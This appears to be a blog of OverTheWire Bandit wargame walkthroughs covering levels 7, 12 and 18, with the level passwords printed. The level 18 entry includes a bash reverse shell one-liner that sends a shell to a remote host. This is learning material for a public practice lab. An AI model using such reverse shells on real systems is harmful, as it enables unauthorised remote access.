Completing The Challenge

The Goal:

password for next level located in the file data.txt next to the word millionth

The Solution:

bandit7@bandit:~$ ls data.txt 
bandit7@bandit:~$ grep millionth data.txt 
millionth cvX2JJa4CFALtqS87jk27qwqGhBM9plV

grep is essentially a string search that returns the line in a file where the string is found

grep takes modifiers and the word its searching for first

the file should be the final input to a grep search

Bandit 12 Over The Wire

Lessons Learned extracting and decompressing files using the following tools: file, xxd -r, gunzip, bunsip2, and tar -xf Logging in On a kali vm/ linux machine Type: ssh bandit12@bandit.labs.overthewire.org -p 2220  5Te8Y4drgCRfCx8ugdwuEX8KFC6k2EUu Completing The Challenge The Goal: The password for the next level is stored in the file data.txt , which is a hexdump of a file that has been repeatedly compressed. For this level it may be useful to create a directory under /tmp in which you can work using mkdir. For example: mkdir /tmp/myname123. Then copy the datafile using cp, and rename it using mv (read the manpages!) The Solution:      Revamped:         I decided to write a bash file that solves the problem.                    mkdir /tmp/a_name/                    mv data.txt /tmp/a_name      ...

Bandit 18 Over The Wire

Lessons Learned ssh actions for when bashrc has immediate logout, also has advice on some reverse shell one liners Logging in On a kali vm/ linux machine Type: ssh bandit18@bandit.labs.overthewire.org -p 2220 kfBf3eYk5BPBRzwjqutbbfE887SVc5Yd Completing The Challenge The Goal: The password for the next level is stored in a file readme in the homedirectory. Unfortunately, someone has modified .bashrc to log you out when you log in with SSH. The Solution: kali@kali:~$ ssh bandit18@bandit.labs.overthewire.org -p 2220 'cat ~/readme' This is a OverTheWire game server. More information on http://www.overthewire.org/wargames bandit18@bandit.labs.overthewire.org's password: IueksS7Ubh8G3DCwVzrTd8rAVOwq3M5x Ive made reverse shells by doing one liner tcp calls using stuff like the following in the single quotes and by mixing commands using like the following: bash -i > & /dev/tcp/10.0.0.1/8080 0 > & 1
